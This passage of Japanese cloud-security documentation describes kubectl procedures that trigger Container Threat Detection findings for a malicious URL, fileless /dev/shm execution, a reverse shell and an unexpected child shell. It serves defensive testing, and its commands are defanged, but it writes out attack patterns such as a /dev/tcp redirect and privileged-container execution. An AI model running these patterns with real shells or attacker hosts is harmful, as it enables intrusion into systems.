      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により「悪意のある URL の観測」の検出結果がトリガーされます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

権限昇格: /dev/shm でのファイルレス実行

Privilege Escalation: Fileless Execution in /dev/shm の検出結果をトリガーするには、/dev/shm インメモリ ファイル システムからプロセスを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/echo ユーティリティを /dev/shm/echo にコピーします。名前を変更したバイナリを実行します。/dev/shm の下のファイルの実行は、ファイルベースの検出を回避するためにメモリで実行しようとするオブジェクトの動作を模倣しているため、不審なものとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 特権コンテナを作成し、bash を開いてコマンドを実行します。

    • x86 ノード:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -it \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
         "$tag" -- bash
      
    • ARM ノード:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -it \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash
      
  4. echo/dev/shm にコピーし、chmod を使用して実行可能にします。

      cp /bin/echo /dev/shm
      chmod 777 /dev/shm/echo
    
  5. 実行を有効にするために /dev/shm を再マウントします

      mount -o remount,exec /dev/shm
    
  6. /dev/shm から echo を実行します。

      /dev/shm/echo "Hello from /dev/shm"
    

Container Threat Detection のロギングを構成している場合、このテスト手順により Privilege Escalation: Fileless Execution in /dev/shm の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

リバースシェル

リバースシェルの検出結果をトリガーするには、TCP 接続のソケットへの stdin リダイレクトでバイナリを開始します。この例では、/bin/echo/tmp/sh にコピーし、DNS ポート上の Google Public DNS 8.8.8.8 へのリダイレクトで /tmp/sh を開始します。この例を実行しても、何も出力されません。中間者(MITM)攻撃による外部コード インジェクションを防ぐため、この例では /bin/sh バイナリを使用しません。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Google Public DNS への /bin/echo リダイレクトでバイナリを開始します。

    • x86 ノード:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • ARM ノード:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

このテスト手順により、リバースシェルの検出結果が作成されます。この検出結果は Security Command Center で確認できます。また、Container Threat Detection のロギングを構成している場合は、Cloud Logging でもこの検出結果を確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

予期しない子シェル

Unexpected Child Shell 検出機能をテストするには、子シェルプロセスを含むプロセスツリーを作成します。

次の例では、Unexpected Child Shell 検出機能で検出できる consul->dash プロセスツリーを作成します。このテストは組み込みのバイナリのみを使用するため、安全です。この例では、次の操作を行います。

  1. sh プロセスのコピーを作成して、consul という名前を付けます。
  2. echo プロセスをコピーして、dash という名前を付けます。
  3. コピーした consul プロセスで、コピーした dash プロセスを呼び出します。

Unexpected Child Shell の検出結果をトリガーするには、次の操作を行います。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 疑似 consul プロセスで疑似シェルを呼び出します。

    • x86 ノード:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag" \
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • ARM ノード:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

このテスト手順では、Security Command Center で表示できる Unexpected Child Shell の検出結果を生成します。Container Threat Detection のロギングが構成されていて、組織レベルで Security Command Center Premium または Enterprise が有効になっている場合は、Cloud Logging で検出結果を表示することもできます。

次のステップ